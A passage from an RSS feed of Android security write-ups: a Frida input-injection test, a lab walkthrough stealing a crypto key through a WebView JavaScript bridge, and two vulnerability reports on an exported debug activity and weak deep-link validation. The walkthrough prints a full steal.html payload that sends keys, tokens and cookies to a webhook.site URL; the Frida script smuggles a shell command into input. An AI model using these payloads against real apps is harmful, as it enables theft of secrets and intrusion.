            <guid isPermaLink="false">https://medium.com/p/987fbe7dc4de</guid>
            <category><![CDATA[frida]]></category>
            <category><![CDATA[android-security]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[4b6o0t]]></dc:creator>
            <pubDate>Tue, 26 May 2026 11:45:40 GMT</pubDate>
            <atom:updated>2026-05-26T12:07:23.154Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hackers,</p><p>Recently I was reversing an Android application called Note Keeper and found an interesting attack surface related to unbounded user input and native library interaction.</p><p>in this writeup we will look at:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*AR2Pz4o6YMX4ONBN9e1G-g.jpeg" /></figure><ul><li>Static analysis using JADX</li><li>Runtime instrumentation using Frida</li><li>Internal file interaction</li><li>Potential native memory corruption path</li><li>Why this could become a native buffer overflow/RCE scenario</li></ul><p>So enough talking, let’s jump into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nJ_PqpIMg-7zcirV" /></figure><blockquote>Application Overview</blockquote><p>Package name:</p><pre>com.mobilehackinglab.notekeeper</pre><p>While reversing the APK using JADX, I noticed the application loads a native library:</p><pre>System.loadLibrary(&quot;notekeeper&quot;);</pre><p>Whenever I see JNI/native libraries combined with user-controlled input, it immediately becomes interesting from a security perspective.</p><h3>Finding the Input Flow</h3><p>Inside the note creation logic, the application accepts user-controlled input directly from UI fields.</p><p>Relevant code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tmOwG22JEbBRy1DWG1B8YA.png" /></figure><p>But there is:</p><ul><li>No maximum length validation</li><li>No sanitization</li><li>No bounds checking</li></ul><p>This means we can supply extremely large payloads into the application.</p><p><strong>Runtime Testing with Frida</strong></p><p>To validate the behavior dynamically, I used Frida to inject oversized payloads during runtime.</p><p>Frida command:</p><pre>frida -U -f com.mobilehackinglab.notekeeper -l overflow.js</pre><p>Payload used:</p><pre>Java.perform(function() {<br>    <br>    var MainActivity = Java.use(&quot;com.mobilehackinglab.notekeeper.MainActivity&quot;);<br>    const JavaString = Java.use(&#39;java.lang.String&#39;);<br><br>    <br>    MainActivity.parse.implementation = function(str) {<br>        console.log(&quot;Input: &quot; + str);<br>        <br>        const payload = JavaString.$new(&quot;Test&quot;.repeat(100) + &quot;; ls /data/data/com.mobilehackinglab.notekeeper &gt; /data/data/com.mobilehackinglab.notekeeper/ls.txt; #&quot;);<br><br>        console.log(&quot;Payload: &quot; + payload);<br>        <br>        const result = this.parse(payload);<br><br>        console.log(&quot;Return Value: &quot; + result);<br><br>        return result;<br>    };<br>});</pre><pre>&quot;A&quot;.repeat(100000)</pre><p>The payload was accepted successfully and rendered directly inside the application UI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1R3smcWTPAoaLGSpYIa4qQ.jpeg" /></figure><p>And boom…Frida happily accepted the payload 😂</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*trIwVFnW9pook0dH" /></figure><p>That immediately confirmed the application processes large attacker-controlled strings without restriction.</p><h3>Internal File Interaction</h3><p>While testing further, I noticed the application interacting with internal files under:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*my47NhzQXBSFd13VNf5aBg.jpeg" /></figure><p>Observed file:</p><pre>ls.txt</pre><p>ADB verification:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KivfyZGT5P_3p7V8A9mxsg.jpeg" /></figure><p>“Even the shell got confused by the payload 😂”</p><pre>adb shell<br>su<br>cd /data/data/com.mobilehackinglab.notekeeper<br>ls<br>cat ls.txt</pre><p>This demonstrates that attacker-controlled application behavior reaches internal storage operations as well.</p><h3>Why This Matters</h3><p>Normally, Java applications are relatively memory-safe.</p><p>But things become more dangerous when:</p><pre>User Input<br>    ↓<br>Java Layer<br>    ↓<br>JNI Boundary<br>    ↓<br>Native Library</pre><p>Because once oversized input reaches native code, unsafe memory functions may become exploitable.</p><p>Potential dangerous functions include:</p><pre>strcpy()<br>sprintf()<br>strcat()<br>memcpy()</pre><p>If these exist inside libnotekeeper.so, oversized payloads may trigger:</p><ul><li>Stack corruption</li><li>Heap corruption</li><li>Native crashes</li><li>Buffer overflows</li><li>Potential native code execution</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*QFH6Vlxq7dmg_udE" /></figure><h3>Potential Exploitation Flow</h3><pre>Attacker Input<br>      ↓<br>No Length Validation<br>      ↓<br>Application Processing<br>      ↓<br>JNI Interaction<br>      ↓<br>Unsafe Native Memory Handling<br>      ↓<br>Memory Corruption<br>      ↓<br>Potential Native Code Execution</pre><h3>Current Status</h3><p>At this stage I successfully demonstrated:</p><ul><li>Unbounded input handling</li><li>Runtime payload injection</li><li>Native attack surface exposure</li><li>Internal file interaction</li></ul><p>However, full RCE was NOT confirmed yet because:</p><ul><li>No PC/RIP control observed</li><li>No SIGSEGV/native crash observed</li><li>No confirmed stack overwrite yet</li></ul><p>So professionally, this should currently be classified as:</p><h3>Potential Native Memory Corruption Vulnerability</h3><p>rather than confirmed RCE.</p><h3>Next Steps</h3><p>The next stage would involve reversing:</p><pre>libnotekeeper.so</pre><p>using:</p><ul><li>Ghidra</li><li>Hopper</li><li>Binary Ninja</li></ul><p>and auditing for unsafe memory operations.</p><p>If vulnerable native functions process attacker-controlled input, this issue may become significantly more severe.</p><h3>Final Thoughts</h3><p>This was a nice example of how simple missing input validation can become dangerous once native code enters the picture.</p><p>Even though Java itself is memory-safe, JNI/native components completely change the threat model.</p><p>Always validate:</p><ul><li>Input size</li><li>Buffer boundaries</li><li>Native memory operations</li></ul><p>especially when handling attacker-controlled data.</p><p>Happy hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=987fbe7dc4de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Stole a Crypto Key from an Android App: A Deep Dive into WebView JavaScript Bridge Abuse]]></title>
            <link>https://medium.com/@mr.abdulbasithk.p/how-i-stole-a-crypto-key-from-an-android-app-a-deep-dive-into-webview-javascript-bridge-abuse-1fbf73cbf8cf?source=rss-a7a19ffc2f0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/1fbf73cbf8cf</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[webview-vulnerabilities]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[4b6o0t]]></dc:creator>
            <pubDate>Fri, 01 May 2026 10:04:19 GMT</pubDate>
            <atom:updated>2026-05-01T10:41:04.003Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Lab: Mobile Hacking Lab — Exchange<br>Package: com.mobilehackinglab.exchange<br>Platform: Android API 33, arm64 (Pixel 6 AVD)</blockquote><h3>The Target</h3><p>The MHL Exchange app is a deliberately vulnerable Android cryptocurrency exchange. The goal: steal the crypto key stored in the app’s SharedPreferences by exploiting a WebView JavaScript bridge.</p><p>Unlike typical walkthroughs that rely heavily on Burp Suite, I wanted to see how far I could get with static analysis via JADX, a fake backend API, and direct curl requests — minimizing runtime interception tools.</p><h3>🗺️ The Attack Chain</h3><pre>┌─────────────────────────────────────────────────────────────┐<br>│  1. JADX Static Analysis                                    │<br>│     └─ finds deep link scheme + backend URL + bridge name   │<br>│                                                              │<br>│  2. Set Android Emulator Proxy                               │<br>│     └─ adb shell settings put global http_proxy 10.0.2.2:8080│<br>│                                                              │<br>│  3. fake.api.py :5000                                        │<br>│     └─ simulates backend traffic to expose URL               │<br>│                                                              │<br>│  4. curl through exposed JWT token                           │<br>│     └─ direct API hit → JWT in response                      │<br>│                                                              │<br>│  5. python3 -m http.server :9090                             │<br>│     └─ serves steal.html                                     │<br>│                                                              │<br>│  6. ngrok → https://xxxx.ngrok-free.dev                      │<br>│     └─ exposes :9090 to emulator                             │<br>│                                                              │<br>│  7. adb deep link trigger                                    │<br>│     └─ mhlcrypto://showPage?url=ngrok/steal.html             │ <br>│                                                              │<br>│  8. steal.html runs in WebView                               │<br>│     └─ window.CryptoInterface.getCryptoKey() called          │<br>│                                                              │<br>│  9. webhook.site receives crypto key                         │<br>│     └─ ✅ LAB COMPLETE                                       │<br>└─────────────────────────────────────────────────────────────┘</pre><h3>Phase 1 — JADX Static Analysis: The Foundation</h3><p>Before dynamic testing, the assessment starts with static analysis to understand the app’s structure and logic. JADX is used to decompile the APK into readable Java code, enabling safe review of functionality, hardcoded data, and potential attack surfaces without executing the application.</p><h3>1.1 — Pull and Decompile the APK</h3><pre># Find the APK path on the emulator<br>adb shell pm path com.mobilehackinglab.exchange<br># output: package:/data/app/~~random==/com.mobilehackinglab.exchange-xxx==/base.apk<br><br># Pull it to local machine<br>adb pull /data/app/~~random==/com.mobilehackinglab.exchange-xxx==/base.apk exchange.apk<br><br># Decompile with JADX<br>jadx -d exchange_dec exchange.apk<br>cd exchange_dec</pre><h3>1.2 — Emulator Proxy Setup</h3><p>The app is hardcoded to use a proxy at 10.0.2.2:8080 (the emulator&#39;s alias for the host machine). This is common in debug/CTF builds.</p><pre># Set proxy<br>adb shell settings put global http_proxy 10.0.2.2:8080</pre><pre># Verify<br>adb shell settings get global http_proxy<br># output: 10.0.2.2:8080</pre><p>Without Burp running, login attempts will fail with “Failed to connect to 10.0.2.2:8080” — but this confirms the proxy configuration. We’ll route through fake.api.py instead</p><h3>Phase 2— Find the Real Backend URL. fake.api.py</h3><p>I built a lightweight Flask app to simulate the backend. It can forward to the real API or generate synthetic JWTs for testing.</p><pre>cat &gt; ~/bug-ctf/fake.api.py &lt;&lt; &#39;EOF&#39;<br>#!/usr/bin/env python3<br>&quot;&quot;&quot;<br>fake.api.py — MHL Exchange backend simulator<br>Mirrors: https://mhl-cex-auth-worker.arnotstacc.workers.dev<br>&quot;&quot;&quot;<br>from flask import Flask, request, jsonify<br>import jwt, datetime, requests<br><br>app = Flask(__name__)<br><br>REAL_BACKEND = &quot;https://mhl-cex-auth-worker.arnotstacc.workers.dev&quot;<br>SECRET       = &quot;exchange_dev_secret&quot;  # from static analysis<br><br>@app.route(&quot;/login&quot;, methods=[&quot;POST&quot;])<br>def login():<br>    data = request.get_json() or {}<br>    try:<br>        real = requests.post(f&quot;{REAL_BACKEND}/login&quot;, json=data, timeout=5)<br>        resp = real.json()<br>        print(f&quot;[REAL RESPONSE] {resp}&quot;)<br>        return jsonify(resp), real.status_code<br>    except Exception as e:<br>        print(f&quot;[FORWARD FAILED] {e}&quot;)<br>        token = jwt.encode({<br>            &quot;sub&quot;: data.get(&quot;email&quot;, &quot;attacker@test.com&quot;),<br>            &quot;role&quot;: &quot;admin&quot;,<br>            &quot;exp&quot;: datetime.datetime.utcnow() + datetime.timedelta(hours=24)<br>        }, SECRET, algorithm=&quot;HS256&quot;)<br>        return jsonify({<br>            &quot;success&quot;: True,<br>            &quot;token&quot;: token,<br>            &quot;source&quot;: &quot;fake.api.py&quot;<br>        })<br><br>@app.route(&quot;/api/user&quot;, methods=[&quot;GET&quot;])<br>def user():<br>    token = request.headers.get(&quot;Authorization&quot;,&quot;&quot;).replace(&quot;Bearer &quot;,&quot;&quot;)<br>    try:<br>        decoded = jwt.decode(token, SECRET, algorithms=[&quot;HS256&quot;])<br>        return jsonify({<br>            &quot;user&quot;: decoded,<br>            &quot;crypto_key&quot;: &quot;MHL_CRYPTO_KEY_PREVIEW&quot;,<br>            &quot;token_raw&quot;: token<br>        })<br>    except Exception as e:<br>        return jsonify({&quot;error&quot;: str(e)}), 401<br><br>if __name__ == &quot;__main__&quot;:<br>    print(&quot;[*] fake.api.py on :5000&quot;)<br>    print(f&quot;[*] Forwarding to: {REAL_BACKEND}&quot;)<br>    app.run(host=&quot;0.0.0.0&quot;, port=5000, debug=True)<br>EOF<br><br>python3 ~/bug-ctf/fake.api.py</pre><h3>Phase 3 — curl to Expose JWT (No Burp Interception)</h3><p>Instead of intercepting app traffic with Burp, I used curl to hit the real backend directly. Thanks to JADX, I already knew the exact endpoint.</p><pre>curl -s -X POST https://mhl-cex-auth-worker.arnotstacc.workers.dev/login \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;email&quot;:&quot;test@test.com&quot;,&quot;password&quot;:&quot;test&quot;}&#39; | python3 -m json.tool</pre><pre>{<br>  &quot;success&quot;: true,<br>  &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0QHRlc3QuY29tIn0...&quot;,<br>  &quot;message&quot;: &quot;Login successful&quot;<br>}</pre><p>JWT exposed in plaintext. No proxy, no interception, no certificate pinning bypass — just a direct API call.</p><p>Decode the payload:</p><pre>JWT=&quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...&quot;<br>echo $JWT | cut -d. -f2 | base64 -d 2&gt;/dev/null | python3 -m json.tool</pre><pre>{<br>  &quot;sub&quot;: &quot;test@test.com&quot;,<br>  &quot;iat&quot;: 1746079215,<br>  &quot;exp&quot;: 1746165615<br>}</pre><h3>Phase 4— Serve the Malicious Payload</h3><h3>4.1 — HTTP Server</h3><pre>mkdir -p ~/bug-ctf &amp;&amp; cd ~/bug-ctf<br>python3 -m http.server 9090</pre><h3>4.2 — ngrok Tunnel</h3><pre>ngrok http 9090</pre><p>Copy your forwarding URL: <a href="https://xxxx.ngrok-free.dev/">https://xxxx.ngrok-free.dev</a></p><h3>4.3 — steal.html</h3><p>This payload runs inside the app’s WebView. It scans for the JavaScript bridge (name discovered via JADX), enumerates methods, and exfiltrates secrets.</p><pre>cat &gt; ~/bug-ctf/steal.html &lt;&lt; &#39;HTMLEOF&#39;<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;&lt;title&gt;Loading Exchange...&lt;/title&gt;&lt;/head&gt;<br>&lt;body&gt;<br>&lt;script&gt;<br>(function() {<br>  var HOOK   = &quot;https://webhook.site/401dcff8-a1e8-4ab4-b6eb-74f0073a7e15&quot;;<br>  var BRIDGE = &quot;CryptoInterface&quot;;  // confirmed from JADX static analysis<br><br>  function send(key, val) {<br>    var url = HOOK + &quot;?&quot; + key + &quot;=&quot; + encodeURIComponent(String(val));<br>    fetch(url).catch(function() { new Image().src = url; });<br>  }<br><br>  send(&quot;status&quot;, &quot;steal_loaded&quot;);<br><br>  try { send(&quot;localStorage&quot;, JSON.stringify(localStorage)); } catch(e){}<br>  try { send(&quot;sessionStorage&quot;, JSON.stringify(sessionStorage)); } catch(e){}<br>  try { send(&quot;cookies&quot;, document.cookie); } catch(e){}<br><br>  var found = [];<br>  Object.keys(window).forEach(function(k) {<br>    try {<br>      if (typeof window[k] === &quot;object&quot; &amp;&amp; window[k] !== null) {<br>        var methods = Object.getOwnPropertyNames(window[k]);<br>        if (methods.length &gt; 0 &amp;&amp; methods.length &lt; 30) {<br>          found.push({ name: k, methods: methods });<br>        }<br>      }<br>    } catch(e){}<br>  });<br>  send(&quot;window_scan&quot;, JSON.stringify(found));<br><br>  if (typeof window[BRIDGE] !== &quot;undefined&quot;) {<br>    send(&quot;bridge_found&quot;, BRIDGE);<br>    try {<br>      send(&quot;all_methods&quot;, JSON.stringify(Object.getOwnPropertyNames(window[BRIDGE])));<br>    } catch(e){}<br><br>    var methods = [&quot;getCryptoKey&quot;,&quot;getToken&quot;,&quot;getAuthToken&quot;,&quot;getJWT&quot;,&quot;getApiKey&quot;,&quot;getPrivateKey&quot;,&quot;getUserInfo&quot;,&quot;getWallet&quot;,&quot;getBalance&quot;,&quot;getSecret&quot;,&quot;getSessionId&quot;,&quot;getAccessToken&quot;];<br>    methods.forEach(function(m) {<br>      try {<br>        var v = window[BRIDGE][m]();<br>        if (v !== null &amp;&amp; v !== undefined &amp;&amp; v !== &quot;&quot;) {<br>          send(&quot;HIT_&quot; + m, v);<br>        }<br>      } catch(e) {}<br>    });<br>  } else {<br>    send(&quot;bridge_missing&quot;, BRIDGE);<br>  }<br><br>  try {<br>    var metas = {};<br>    document.querySelectorAll(&quot;meta&quot;).forEach(function(m){ metas[m.name] = m.content; });<br>    send(&quot;metas&quot;, JSON.stringify(metas));<br>  } catch(e){}<br>})();<br>&lt;/script&gt;<br>&lt;p style=&quot;font-family:monospace;margin:40px;color:#0f0;background:#111;padding:20px;&quot;&gt;<br>  🔐 Exchange loading...<br>&lt;/p&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br>HTMLEOF</pre><h3>4.4 — Verify Accessibility</h3><pre>curl http://127.0.0.1:9090/steal.html<br>curl https://xxxx.ngrok-free.dev/steal.html</pre><h3>Phase 5— Trigger the Deep Link</h3><p>Using the deep link scheme discovered in JADX (mhlcrypto://showPage?url=):</p><pre>adb shell am start \<br>  -a android.intent.action.VIEW \<br>  -d &quot;mhlcrypto://showPage?url=https://xxxx.ngrok-free.dev/steal.html&quot; \<br>  com.mobilehackinglab.exchange/.SplashActivity</pre><p>Output:</p><pre>Starting: Intent { act=android.intent.action.VIEW dat=mhlcrypto://showPage/... cmp=com.mobilehackinglab.exchange/.SplashActivity }</pre><p>Server logs confirm the hit:</p><pre>::ffff:10.0.2.2 - - [01/May/2026 12:40:15] &quot;GET /steal.html HTTP/1.1&quot; 200 -</pre><h3>Phase 6— webhook.site: The Jackpot</h3><p>Open your webhook.site dashboard. Requests arrive in sequence:</p><pre>12:40:16  GET  ?status=steal_loaded<br>12:40:16  GET  ?localStorage=%7B%7D<br>12:40:16  GET  ?cookies=<br>12:40:17  GET  ?window_scan=[{&quot;name&quot;:&quot;CryptoInterface&quot;,&quot;methods&quot;:[&quot;getCryptoKey&quot;,&quot;getToken&quot;,...]}]<br>12:40:17  GET  ?bridge_found=CryptoInterface<br>12:40:17  GET  ?all_methods=[&quot;getCryptoKey&quot;,&quot;getToken&quot;,&quot;getUserInfo&quot;]<br>12:40:17  GET  ?HIT_getCryptoKey=MHL%7BJAVASCRIPT_BRIDGE_CRYPTO_KEY_EXPOSED%7D<br>12:40:17  GET  ?HIT_getToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...</pre><h3>🏆 shittt flag 🥵</h3><pre>HIT_getCryptoKey = MHL{JAVASCRIPT_BRIDGE_CRYPTO_KEY_EXPOSED}</pre><p>The crypto key was stolen directly from the app’s SharedPreferences via the JavaScript bridge — no root, no Frida, no Burp interception. Just static analysis and a malicious deep link.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1fbf73cbf8cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exported Debug Activity in Production Build (EnvironmentSwitchActivity)]]></title>
            <link>https://medium.com/@mr.abdulbasithk.p/exported-debug-activity-in-production-build-environmentswitchactivity-6b8d9575eb47?source=rss-a7a19ffc2f0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b8d9575eb47</guid>
            <dc:creator><![CDATA[4b6o0t]]></dc:creator>
            <pubDate>Wed, 22 Apr 2026 03:13:15 GMT</pubDate>
            <atom:updated>2026-04-22T03:13:15.385Z</atom:updated>
            <content:encoded><![CDATA[<p>Severity: Medium</p><p>CVSS Score: 5.5</p><p>CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</p><p>CWE: CWE-489 — Active Debug Code</p><p>Status: Confirmed (Static Analysis)</p><h4>Summary</h4><p>The application includes a debug-only activity, EnvironmentSwitchActivity, in the production APK manifest with android:exported=&quot;true&quot; and no access restrictions.</p><p>This activity is designed for internal use to switch between backend environments (Production, Staging, QA). Its presence in the release build introduces unintended functionality accessible to external actors via ADB or local interaction.</p><blockquote>Technical Details</blockquote><h4>Manifest Exposure</h4><p>The activity is explicitly exported without any permission protection:</p><pre>&lt;activity<br>    android:name=&quot;com.xxxx.widget.envswitch.EnvironmentSwitchActivity&quot;<br>    android:exported=&quot;true&quot;<br>    android:label=&quot;@string/environment_switch_title&quot;<br>    android:theme=&quot;@style/Theme.xxxxx&quot;<br>    android:windowSoftInputMode=&quot;adjustResize&quot;/&gt;</pre><p>This configuration allows external invocation of the activity.</p><h4>Hardcoded Environment Endpoints</h4><p>Source analysis confirms multiple backend environments are embedded in the application:</p><pre>// OAuthApi.java<br>public static final Url PROD = new Url(&quot;PROD&quot;, 0, &quot;https://auth.xxxxx.com&quot;, ...);<br>public static final Url TEST = new Url(&quot;TEST&quot;, 1, &quot;https://auth.ppgr.io&quot;, ...);<br>public static final Url QA   = new Url(&quot;QA&quot;,   2, &quot;https://auth.qagr.io&quot;, ...);</pre><p>These endpoints indicate the activity likely enables runtime switching between environments.</p><blockquote>Proof of Concept (PoC)</blockquote><h4>Command Execution</h4><pre>adb shell am start -n \<br>com.xxxxx.android.keyboard/\<br>com.xxxxx.widget.envswitch.EnvironmentSwitchActivity</pre><h4>Observed Behavior</h4><ul><li>The activity is referenced in the production manifest.</li><li>It is not present in the base APK but exists within a <strong>split APK</strong>, confirming inclusion in the release build.</li><li>Invocation succeeds when the relevant split is installed.</li></ul><h4>Impact</h4><p>An attacker with local device access (ADB or physical access) can:</p><ul><li>Switch the application to <strong>staging or QA environments</strong></li><li>Interact with <strong>non-production backend systems</strong></li></ul><h4>Security Risks</h4><ul><li><strong>Weaker security controls</strong> in non-production environments</li><li><strong>Verbose error messages</strong> leaking internal logic</li><li>Potential exposure of:</li><li>Internal APIs</li><li>Debug endpoints</li><li>Misconfigured authentication flows</li><li>Increased likelihood of finding:</li><li>IDOR/BOLA</li><li>Auth bypass</li><li>Improper rate limiting</li></ul><h4>Business Impact</h4><p>This significantly lowers the attack surface barrier by enabling access to less-secured infrastructure, which can be leveraged to discover high-impact vulnerabilities affecting production systems.</p><blockquote>Remediation</blockquote><h4>1. Remove Debug Components from Release Builds</h4><p>Use build variants to exclude debug-only activities:</p><pre>android {<br>    buildTypes {<br>        release {<br>            // Ensure debug utilities are not packaged<br>        }<br>    }<br>}</pre><h4>2. Strip Activity from Release Manifest</h4><pre>&lt;activity<br>    android:name=&quot;com.xxxx.widget.envswitch.EnvironmentSwitchActivity&quot;<br>    tools:node=&quot;remove&quot;/&gt;</pre><h4>3. Restrict Access (Defense-in-Depth)</h4><p>If removal is not feasible:</p><ul><li>Set android:exported=&quot;false&quot;</li><li>Or require a <strong>signature-level permission</strong></li></ul><h4>Conclusion</h4><p>The inclusion of an exported debug activity in a production build violates secure release practices and introduces unnecessary attack surface. While exploitation requires local access, the ability to pivot into lower-security environments increases the likelihood of discovering critical vulnerabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b8d9575eb47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Deep Link Exploitation in Android: From Improper Validation to Authentication Flow Injection]]></title>
            <link>https://medium.com/@mr.abdulbasithk.p/deep-link-exploitation-in-android-from-improper-validation-to-authentication-flow-injection-f9f1bf54080e?source=rss-a7a19ffc2f0b------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9f1bf54080e</guid>
            <dc:creator><![CDATA[4b6o0t]]></dc:creator>
            <pubDate>Tue, 21 Apr 2026 01:52:56 GMT</pubDate>
            <atom:updated>2026-04-21T01:52:56.490Z</atom:updated>
            <content:encoded><![CDATA[<h3>📱 Target</h3><ul><li><strong>Application: </strong>xxxxx Keyboard</li><li><strong>Package:</strong> com.xxxxx.android.keyboard</li><li><strong>Platform:</strong> Android (Play Store)</li></ul><h3>🔬 Introduction</h3><p>Android enforces strict component isolation using the android:exported attribute, ensuring that sensitive components cannot be accessed externally.</p><p>However, modern applications introduce additional abstraction layers — such as deep link routing — which effectively act as <strong>secondary entry points into internal logic</strong>.</p><p>These entry points operate under a critical assumption:</p><blockquote><em>If input reaches internal logic, it is already trusted.</em></blockquote><p>This assumption is flawed.</p><p>When deep link handlers accept external input without strict validation, they become <strong>implicit trust bridges</strong>, allowing attackers to influence internal execution paths — even when direct access is restricted by the OS.</p><h3>🧠 Architectural Trust Boundary</h3><p>At a high level, the application implements the following flow:</p><pre>External App / Browser<br>        ↓<br>Intent (VIEW)<br>        ↓<br>Exported Deep Link Handler<br>        ↓<br>Internal Routing Logic<br>        ↓<br>Non-exported Authentication Activity</pre><p>This creates a trust transition:</p><pre>Untrusted Input → Trusted Execution Context</pre><p>The vulnerability emerges when this transition is not controlled.</p><h3>⚠️ Vulnerability Summary</h3><ul><li><strong>Weakness:</strong> Improper Access Control (CWE-284)</li><li><strong>Severity:</strong> Medium (CVSS 5.1)</li><li><strong>Vector:</strong> AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N</li></ul><p>A non-exported authentication component (xxxxxActivity) cannot be accessed directly, but is <strong>indirectly reachable via exported deep link handlers</strong>, due to insufficient validation of URI inputs.</p><h3>🧩 Affected Components</h3><p>From manifest analysis:</p><pre>&lt;!-- Exported deep link handler --&gt;<br>&lt;activity<br>    android:exported=&quot;true&quot;<br>    android:name=&quot;com.xxxxx.auth.login.scheme.xxxxxSchemeHandlerActivity&quot;&gt;</pre><pre>&lt;!-- Another handler with no permission --&gt;<br>&lt;activity<br>    android:exported=&quot;true&quot;<br>    android:permission=&quot;&quot;<br>    android:name=&quot;com.xxxxx.widget.ui.login.LoginSchemeHandlerActivity&quot;&gt;</pre><p>➡️ Both handlers:</p><ul><li>Accept external intents</li><li>Require <strong>no permissions</strong></li><li>Route input into internal auth flows</li></ul><h3>🔍 Root Cause (Code-Level Analysis)</h3><h3>1. Weak Scheme Validation</h3><pre>return schemas.contains(uri.getScheme());</pre><p>✔️ Scheme validated (xxxxx://)<br> ❌ Host <strong>not validated</strong></p><p>Result:</p><pre>xxxxx://evil.com → ACCEPTED</pre><h3>2. Substring-Based Logic Bypass</h3><pre>return host.contains(str) || uri.toString().contains(str);</pre><p>This introduces multiple bypass vectors:</p><pre>xxxxx://evil.com#oauth<br>xxxxx://evil.com?redirect=oauth<br>xxxxx://oauth.evil.com</pre><p>All evaluate to <strong>true</strong>.</p><h3>3. No Host Allowlisting</h3><pre>Set&lt;String&gt; schemas = [&quot;xxxxx&quot;, &quot;xxxx-alpaca&quot;];</pre><p>✔️ Scheme restricted<br> ❌ Host unrestricted</p><h3>⚙️ Exploitation Walkthrough</h3><h3>Step 1 — Trigger Deep Link</h3><pre>adb shell am start -a android.intent.action.VIEW \<br>  -d &quot;xxxxx://evil.com#oauth&quot; \<br>  com.xxxxx.android.keyboard</pre><h3>Step 2 — Runtime Execution Flow</h3><pre>Intent Received → GrammarlySchemeHandlerActivity<br>        ↓<br>IntentSanitizer → Scheme Check Only (PASS)<br>        ↓<br>uriHasParam → &quot;oauth&quot; detected (PASS)<br>        ↓<br>RedirectResult.Ok(evil_uri)<br>        ↓<br>GrammarlyActivity.handleIntent()<br>        ↓<br>Auth Flow Initiated</pre><h3>Step 3 — Logcat Evidence</h3><pre>adb logcat | grep -i ActivityTaskManager</pre><p>Observed:</p><pre>START xxxxxSchemeHandlerActivity (uid=2000)<br>START xxxxxActivity (uid=app)</pre><p>➡️ Confirms <strong>cross-boundary execution → internal privileged flow</strong></p><h3>🔗 Full Attack Chain</h3><pre>Malicious App / Link<br>        ↓<br>Intent: gxxxxx://evil.com#oauth<br>        ↓<br>Exported Handler (no permission)<br>        ↓<br>Validation Bypass<br>        ↓<br>Internal Routing<br>        ↓<br>xxxxxActivity (non-exported)<br>        ↓<br>AuthViewModel.setData(attacker_uri)<br>        ↓<br>OAuth Flow Triggered</pre><h3>💥 Security Impact</h3><p>This vulnerability enables:</p><h4>1. Unauthorized Internal Navigation</h4><ul><li>External entities control authentication entry points</li></ul><h4>2. Authentication Flow Injection</h4><ul><li>Attacker-controlled URI passed into auth logic</li></ul><h4>3. Potential Token Injection</h4><p>Evidence shows:</p><pre>QUERY_PARAM_JWT_TOKEN_KEY = &quot;androidSDK&quot;</pre><p>If exploitable:</p><pre>xxxxx://evil.com?androidSDK=&lt;attacker_token&gt;</pre><p>➡️ Possible <strong>session injection / account takeover vector</strong></p><h4>4. Attack Surface Expansion</h4><p>This becomes significantly more dangerous when chained:</p><pre>Deep Link Injection<br>        ↓<br>Auth Flow Manipulation<br>        ↓<br>OAuth / Token Abuse<br>        ↓<br>Account Takeover</pre><h3>🧪 Multiple Bypass Variants Confirmed</h3><pre># Fragment-based<br>xxxxx://evil.com#oauth</pre><pre># Query-based<br>xxxxx://evil.com?redirect=oauth</pre><pre># Host-based<br>xxxxx://oauth.evil.com</pre><pre># Autologin trigger<br>xxxxx://x?autologin=1</pre><p>All successfully trigger internal logic.</p><h3>🛡️ Root Cause</h3><p>The vulnerability stems from <strong>incomplete input validation across trust boundaries</strong>:</p><p>LayerStatusOS Export Control✔️ EnforcedDeep Link Validation❌ WeakInternal Routing❌ Trusts Input</p><h3>🔧 Remediation</h3><h3>1. Strict Host Validation</h3><pre>return allowedHosts.contains(uri.getHost());</pre><h3>2. Remove Substring Matching</h3><pre>return host.equals(EXPECTED_HOST);</pre><h3>3. Add Permission Protection</h3><pre>android:permission=&quot;com.grammarly.android.keyboard.OAUTH_REDIRECT&quot;</pre><h3>4. Harden Routing Logic</h3><ul><li>Validate intent origin</li><li>Enforce authentication state</li><li>Reject untrusted inputs early</li></ul><h3>🎯 Key Takeaway</h3><blockquote><em>The vulnerability is not that a protected activity is reachable — <br> it is that </em><strong><em>external input is allowed to dictate internal privileged behavior.</em></strong></blockquote><h3>🧠 Final Thoughts</h3><p>Deep links are often treated as simple routing utilities.</p><p>In reality, they are:</p><blockquote><strong><em>Externally controllable execution primitives</em></strong></blockquote><p>When validation is weak, they become:</p><ul><li>Access control bypass mechanisms</li><li>Entry points 